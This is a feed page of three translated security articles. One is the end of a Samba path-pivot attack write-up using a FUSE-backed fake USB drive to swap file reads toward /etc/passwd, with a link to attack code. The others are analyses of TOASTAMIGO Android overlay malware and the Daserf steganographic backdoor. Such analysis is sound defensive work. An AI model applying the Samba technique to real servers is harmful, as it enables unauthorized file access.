目录项被清除的时间,取决于设备上可用的RAM大小。我们可能需要对DoS进行一些设定,让它既能占用足够的内存来减小缓存空间,又不会导致触发OOMkiller的保护机制。

制作假USB存储

为了制作我们的“慢速存储设备”,我们需要一个具有USB OTG接口并运行Linux的设备,例如树莓派Zero。

使用Linux的g_mass_storage模块和OTG接口,我们可以模拟USB密钥。模块使用一个参数文件来指定磁盘映像的路径。我们指定该磁盘映像位于用户空间文件系统(FUSE)的挂载点。这样一来,我们可以在用户空间去控制对磁盘的每一次物理访问。


【技术分享】针对Samba的路径转换攻击

内核模块将SCSI READ命令转换为vfs_read调用。这一调用由用户空间文件系统处理,并转发至用户级程序。用户级应用将读取磁盘映像文件,并可能会调用sleep来延迟SCSI响应,具体要取决于所读取的内容。

攻击演示

下面的演示将在一台运行Samba 4.1.13的服务器上进行。分区的格式为ext3,包含符号树xxx1/…/xxx39,每一个xxx符号链接重定向到一个以magic_为前缀的目录,将会被我们的控制器截获。

在read操作的过程中,Samba 4将会进行如下操作:

1. 使用stat获得目标文件详细信息并缓存结果;

2. 检查文件名与realpath;

3. 检查文件权限与ACL(stat和getxattr);

4. 使用fstat获得文件描述符信息,检查设备/索引节点从第一步开始未发生更改;

5. 读取文件。

在步骤1中,我们将stat调用的指向转到/etc/passwd。在步骤2中,我们将路径指向转到一个虚拟的passwd文件。然后在步骤3,我们再次转回/etc/passwd。这样一来,我们就能有效地绕过步骤2和5之中的检查。

请注意,服务器有1GB的RAM。并且为了创建和销毁正确数量的进程,在DoS进行之前是经过计算的。为了使攻击成功,我们还必须使用不会超时的Samba客户端,以应对服务端响应时间过长的情况。在这里,我使用了一个依赖于pysmb的自定义脚本,也可以通过修改过的smbclient来实现。

结语

在4.4.12、4.5.7和4.6.1版本后的Samba不受此漏洞的影响。用于攻击的源代码请参见:https://github.com/gdelugre/path-pivot。

值得一提的是,这样的攻击还可以扩展到不同的场景之中,比如也可能会适用于:

UPnP多媒体服务器(DLNA);

为外部驱动器提供文件浏览功能的设备(图像查看器、多媒体播放器);

固件更新时,其签名被验证并存储在USB密钥中。

该攻击方法给我们带来的经验是,不要理所当然地认为外部磁盘会在不同调用中返回相同的值,在处理外部驱动器上存储的文件时要多加小心。



【技术分享】针对Samba的路径转换攻击
【技术分享】针对Samba的路径转换攻击
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://gdelugre.github.io/2017/11/06/samba-path-pivot-attack/

【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

$
0
0
【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

2017-11-10 16:45:36

阅读:819次
点赞(0)
收藏
来源: 安全客





【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

作者:Janus情报局





【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

译者:Janus情报局

预估稿费:180RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

近期,趋势科技发现了一款新的恶意软件,这款恶意软件利用Toast Overlay攻击,在受影响的设备上默默安装其他恶意软件——TOASTAMIGO。目前,趋势科技将这个恶意软件标记为ANDROIDOS_TOASTAMIGO。截止2017年6月,其中一个恶意应用程序已经被下载安装了50多万次,它利用Android的Accessibility(辅助)功能,使其具有广告点击、应用程序安装、自我保护/持久性功能。

Overlay攻击需要在其他运行的应用、窗口或进程上绘制和叠加Android视图(例如图像或者按钮)。Toast Overlay攻击的典型场景是,欺骗用户点击攻击者指定的非法的窗口或按钮。Toast Overlay技术之前我们有分享过,利用的是CVE-2017-0752这个漏洞。“Toast”窗口(TYPE_TOAST)是Android上支持的overlay类型之一,用于显示其他应用程序的通知。

而TOASTAMIGO是我们看到的第一款将CVE-2017-0752真正实现并应用到实战中的样本,这与之前很多的恶意软件一样,我们一定会看到该威胁的微调版本(以及其下载/安装的另一款恶意应用)——鉴于此时恶意软件的相对“低调”的功能——或者被其他网络犯罪分子所模仿。

除了Android最新版本(8.0/Oreo)外,所有低版本的用户均受到该漏洞的影响,因此建议低版本设备的用户及时打补丁。


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图1Toast Overlay攻击原理图:一个看似正常的图像(左)叠加在恶意软件触发的实际操作上,例如请求辅助功能


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图2谷歌商店上架的恶意应用


感染链

具有讽刺意味的是,这种恶意软件伪装成合法的应用程序,号称可以用PIN码保护设备应用安全。安装后,这些应用会通知用户,应用正常运行需要被授予辅助服务权限。当然,这些都是恶意软件的诡计,他们为了躲避Android的对抗策略,要求应用程序拥有明确的用户权限。在授权后,应用会启动一个窗口,表明可以“分析”应用程序。而在这个窗口背后,应用程序会执行操作或指令,包括安装第二个恶意应用(因为它已经拥有了权限)。


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图3 恶意软件“运行时间”截图


技术分析
在谷歌商店上架前,恶意应用就已经被打包好了,如下图所示。注意,包“amigo”和包“goami”,它们都在“com”之下,这说明这两个应用都是同一个开发者开发的。

【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图4 恶意软件包结构图

当应用提示“analyzing the unprotected apps.”时,Toast Overlay攻击已经被执行了。下面的截图展示了这个函数的代码段。实际上,这是一个TOAST-type的窗口,并在恶意软件中设置为全屏显示。

·v2.type值为2005表明,v2.type是TYPE_TOAST类型

·v2.SystemUiVisibility值为1280,代表SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN(Activity全屏显示,但状态栏不会被隐藏覆盖,状态栏依然可见,Activity顶端布局部分会被状态遮住。),SYSTEM_UI_FLAG_LAYOUT_STABLE(SYSTEM_UI_FLAG_LAYOUT_STABLE)

·v2.flags的值表示FLAG_FULLSCREEN(设置全屏)和FLAG_NOT_FOCUSABLE(不许获得焦点)


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图5 应用利用Toast Overlay攻击的代码段

想要发起Overlay攻击,恶意应用首先要请求“draw on top”权限;这是Android 6.0以上版本的案例。但是如果从谷歌商店安装的话,它们就不需要请求这个权限。然而,我们发现,除了Android 8.0,Toast Overlay攻击(反过来,使用这些技术的恶意软件)并不需要特定的权限或条件。


执行恶意任务

为了方便阅读,我们在分析应用代码的过程中对部分关键函数重新命名。函数doBackgroudTask.getInstance((Context)this).doTask后台执行某些任务,并且被设计用于绕过不同Android版本的警告弹窗。


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图6 恶意软件后台任务模块代码片段(高亮显示)

在Toast窗口下,恶意软件也会执行一些其他函数,包括采取措施防止被移除:

·com.photos.android.helper:下载指定的Android应用安装包(APK)

·force_stop_MC::强制停止移动安全应用运行

·bgAsprotectDialog::准备提示弹窗,如“Unknown sources”

·bgAutoInstallPage_4::利用辅助服务安装应用

·Accessibility::为其他APK开启辅助功能权限

这些函数用于维护恶意软件的核心服务:

·bgGpAutoProtect: 防止被卸载

·bgAsprotectDialog and bgAsprotectPage_4: 维持辅助服务权限

下载和安装的应用被命名为com.photos.android.helper,包名为com.vpn.free.migovpn。我们将它重命名为AMIGOCLICKER (ANDROIDOS_AMIGOCLICKER):TOASTAMIGO的分支包含广告点击例程。AMIGOCLICKER运行后就会自动隐藏,只有在系统的辅助应用列表才能找到。


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图7 AMIGOCLICKER在受感染设备的辅助应用列表中

AMIGOCLICKER可以通过注册广播接收器自动启动。它也可以由TOASTAMIGO调用AMIGOCLICKER的exported服务,如下图所示:


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图8 AMIGOCLICKER的exported服务


【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!

图9 调用AMIGOCLICKER服务的代码段

AMIGOCLICKER也是被打包的,我们深入分析了exported核心服务,并得出了以下结论。它首先通过访问远程服务器获取最新的控制信息。然后,它会根据设备当前的网络连接提供一个代理,对于某些无法访问Admob和Facebook的地区来说,代理还是有效的。以下是AMIGOCLICKER的主要行为,它与TOASTAMIGO也有很多相似之处:

·force_stop: 强制停止移动安全应用运行

·open_device_manager: 打开设备管理员以防止被卸载

·bgDeviceDeactivate: 防止设备管理员被禁用

·bgGpAutoProtect: 防止应用被卸载

·autoUninstall_setting: 卸载指定的包

·bgAsprotectDialog: 保持它的辅助服务权限

·bgAsprotectPage_4: 保持它的辅助服务权限

·bgAutoCancelDialog: 点击系统警告窗口的取消按钮

·bgAutoUninstallOnDesktop: 点击系统警告窗口的卸载按钮

·bgAutoSureDialog: 当接收到指定系统窗口时点击按钮

·collect_gp_account: 收集受害者谷歌账户信息

·bg_auto_click_fb: 点击加载的Facebook广告

·gp_search_input_aso action1: 在谷歌商店输入和搜索

·gp_search_input_aso action1: 在谷歌商店为该恶意软件进行五星好评


缓解措施

这些恶意软件的恶意功能,结合一个相对独特的攻击向量,使它们成为可信的威胁。然而,事实上,前面所提到的功能,可以被修改为更具危害性的网络攻击。AMIGOTOAST和AMIGOCLICKER可以从远程服务器获取指令进行更新,滥用Android的辅助功能,可以做很多事情。

谷歌在今年9月份的Android安全公告中已经修复了该漏洞。用户需要及时对系统打补丁,更重要的是,要养成良好的移动安全习惯,尤其是在工作场所。然而,除了Nexus和Pixel,其他Android设备的更新都是碎片化的,因此,用户应主动联系设备的厂商,及时获取更新补丁。

趋势科技已经向谷歌商店上报了这一问题,这些应用已经从谷歌商店下架。


IoCs

可访问:

http://cloud.appscan.io/monitor.html?id=5a0559700272380e45a7352

http://cloud.appscan.io/discover-detail.html?id=766860



【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!
【技术分享】Toast Overlay攻击已被用于安卓恶软并在谷歌商店下载数十万次!
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.trendmicro.com/trendlabs-security-intelligence/toast-overlay-weaponized-install-android-malware-single-attack-chain/

【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

$
0
0
【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

2017-11-10 14:58:12

阅读:1412次
点赞(0)
收藏
来源: trendmicro.com





【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

作者:shan66





【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

REDBALDKNIGHT,又名BRONZE BUTLER和Tick,是一个专门针对日本组织(如政府机构(包括国防机构)以及生物技术、电子制造和工业化学等行业公司)的网络间谍组织。他们在从事间谍活动过程中采用的Daserf后门(趋势科技将其标识为BKDR_DASERF,也称为Muirim和Nioupale)具有四个主要功能:执行shell命令、下载和上载数据、截图以及键盘记录。

然而,我们最近的遥测数据显示,Daserf的变种不仅用来执行针对日本和韩国的目标组织的监视和窃取工作,同时还用于对付俄罗斯、新加坡和中国的企业。此外,我们还发现了Daserf的多种版本,它们不仅采用了不同的技术,而且为了更好地隐藏自己,还通过隐写术将代码嵌入到了一些出其不意的媒介或位置(如图像)中。

像多数网络间谍活动一样,REDBALDKNIGHT组织的攻击行为也是间歇性的,只不过它的持续时间要更为久远一些。实际上,REDBALDKNIGHT组织早在2008年就已经盯上了日本的相关机构,至少从他们发送给目标的诱饵文档的文件属性来看是这样的。该组织攻击目标的专一性主要反映在其使用的社会工程学策略方面:他们在攻击链中的诱饵文件内容是用流利的日文编写的,尤其是,该文件是通过日文字处理软件Ichitaro创建的。例如,其中一个诱饵文件是关于“平成20年防灾计划”(平成是日本现今的纪元)的。


【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

图1:REDBALDKNIGHT发送给日本目标机构的一个诱饵文档的文件属性


【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

图2:REDBALDKNIGHT使用的诱饵文档样本,他们在鱼叉式钓鱼邮件中使用了社会工程类型的标题,如“防灾”


攻击链

REDBALDKNIGHT的攻击活动通常使用鱼叉式钓鱼邮件作为切入点,而这些邮件的附件通常都是夹带了利用Ichitaro漏洞的代码(见后文 )的文件,也就是所谓的诱饵文件,网络间谍组织通常用它们来引起受害者的注意,具体来说,为了达到执行恶意软件的目的,首先利用“CPR”和“防灾”等诱饵来引受害者上钩。

一旦受害者打开文档,Daserf就会植入目标机器,并开始运行。直到去年安全研究人员公开曝光了Daserf之后,该恶意软件才广为人知,但是早在2011年的时候,“江湖”中就有了它们的踪迹。根据他们透露的硬编码版本号(Version:1.15.11.26TB Mini),我们可以找到这个后门的其他版本(见附录)。

不断改进的Daserf

我们的分析显示,Daserf会经常进行技术改进,以绕过传统的反病毒(AV)检测。例如,Daserf的1.50Z、1.50F、1.50D、1.50C、1.50A、1.40D和1.40C版本就使用了加密的windows应用程序编程接口(API)。而该软件的v1.40 Mini版本则使用了MPRESS加壳器,可以在一定程度上绕过AV检测,并能起到对抗逆向分析的作用。Daserf的1.72及更高版本利用base64+RC4的替代技术来加密反馈数据,而另外一些版本则采用了不同的加密方式,例如1.50Z版本,它使用的是凯撒加密法(它根据字母表将明文中的每个字母移动常量位k,可以向上移动,也可以向下移动。举例来说,如果偏移量k等于3,则在编码后的消息中,可以让每个字母都会向前移动3位:a会被替换为d;b会被替换成e;依此类推。字母表末尾将回卷到字母表开头。于是,w会被替换为z,x会被替换为a。)。

更值得注意的是,REDBALDKNIGHT已经在攻击的第二个阶段中集成了隐写技术,即用于C&C通信和获取后门。在Daserf的v1.72 Mini和更高版本中,我们就观察到这种技术。Daserf采用隐写术后,不仅可以帮助后门程序绕过防火墙(即Web应用防火墙),同时还使得攻击者能够更快、更方便地更换第二阶段的C&C通信或后门程序。

REDBALDKNIGHT如何使用隐写术

如下图所示,在引入隐写术之后,Daserf的感染链也得到了相应发展。当感染感兴趣的目标的时候,方法有许多:鱼叉式钓鱼电子邮件、水坑攻击以及利用SKYSEA客户端视图(一种在日本广泛使用的IT资产管理软件)中的远程代码执行漏洞(CVE-2016-7836,于2017年3月修复)。


【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

图3:Daserf最新的执行和感染流程图

downloader将被安装到受害者的机器上,并从受感染的站点下载安装Daserf。然后,Daserf会访问另一个被攻陷的站点,并下载一个图像文件(例如.JPG或.GIF格式的文件)。而这个图像中,不是嵌入了加密的后门配置,就是嵌入了加密的黑客工具。解密后,Daserf将连接C&C,并等待进一步的命令。Daserf的1.72和更高版本都采用了隐写术。

REDBALDKNIGHT对隐写术的应用并不仅仅限于Daserf后门,除此之外,他们的另外两个工具包-xxmm2_builder和xxmm2_steganography也采用了相同的技术。根据他们的pdb字符串分析,它们都是REDBALDKNIGHT另一个攻击程序(即XXMM(TROJ_KVNDM),一种下载器类型的木马)的组成部分,也可以作为第一阶段的后门程序,因为其具有打开shell的能力。xxmm2_builder使得REDBALDKNIGHT可以自定义XXMM的设置,而xxmm2_ steganography则可以将恶意代码隐藏到图像文件中。

REDBALDKNIGHT的工具可以通过隐写术对字符串进行加密,然后将其嵌入图像文件的标记中,从而实现了在图像文件中创建、嵌入和隐藏可执行文件或配置文件的功能。这里所说的加密字符串既可以是可执行文件,也可以是URL。攻击者可以利用隐写术将相关的代码注入现有的图像,然后上传至相应的网站即可。此外,我们还发现,XXMM和Daserf采用的隐写术算法(替代base64+RC4)是一样的。


【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

图4:Daserf解码函数的代码片段,与XXMM相同


【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

图5:REDBALDKNIGHT在XXMM中使用的Steganography工具包


【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门

图6:由Steganography工具包为Daserf生成的隐写式代码的截图

应对措施

在具有针对性的网络攻击中,隐写术是一种特别有用的技术:他们的恶意活动隐蔽的时间越长,他们就越有可能窃取和泄露数据。事实上,人们的日常工作正在面临越来越多的网络恶意软件的影响,这些软件的范围从exploit工具包、恶意广告活动、银行木马、C&C通信直到勒索软件。就REDBALDKNIGHT的网络攻击来看,采用隐写术之后,可以使得恶意软件更加难以检测和分析。

透过REDBALDKNIGHT攻击活动的连绵不绝、多样性和活动范围,可以帮我们充分了解深度防御是有多么的重要。组织可以通过实施最小特权原则来防御这些攻击,从而显著减少他们的横向渗透机会。此外,网络分段和数据分类在这方面也有所帮助。访问控制和黑名单以及入侵检测和防御系统等机制也有助于进一步确保网络安全,而白名单(如应用程序控制)和行为监控则有助于检测和阻止可疑或未知文件的异常活动。同时,我们也要加强电子邮件网关的保护措施,以抵御REDBALDKNIGHT的鱼叉式网络钓鱼攻击。禁用不必要和过时的组件或插件,并确保系统管理工具以安全的方式加以使用,因为它们有可能被攻击者所利用。更重要的是,要对基础设施和应用程序及时进行更新,以减少从网关和网络到端点和服务器的各种攻击。


IOC

https://documents.trendmicro.com/assets/appendix-redbaldknight-bronze-butler-daserf-backdoor-steganography.pdf


【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门
【技术分享】深入分析REDBALDKNIGHT组织具备隐写功能的Daserf后门
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
Viewing all 12749 articles
Browse latest View live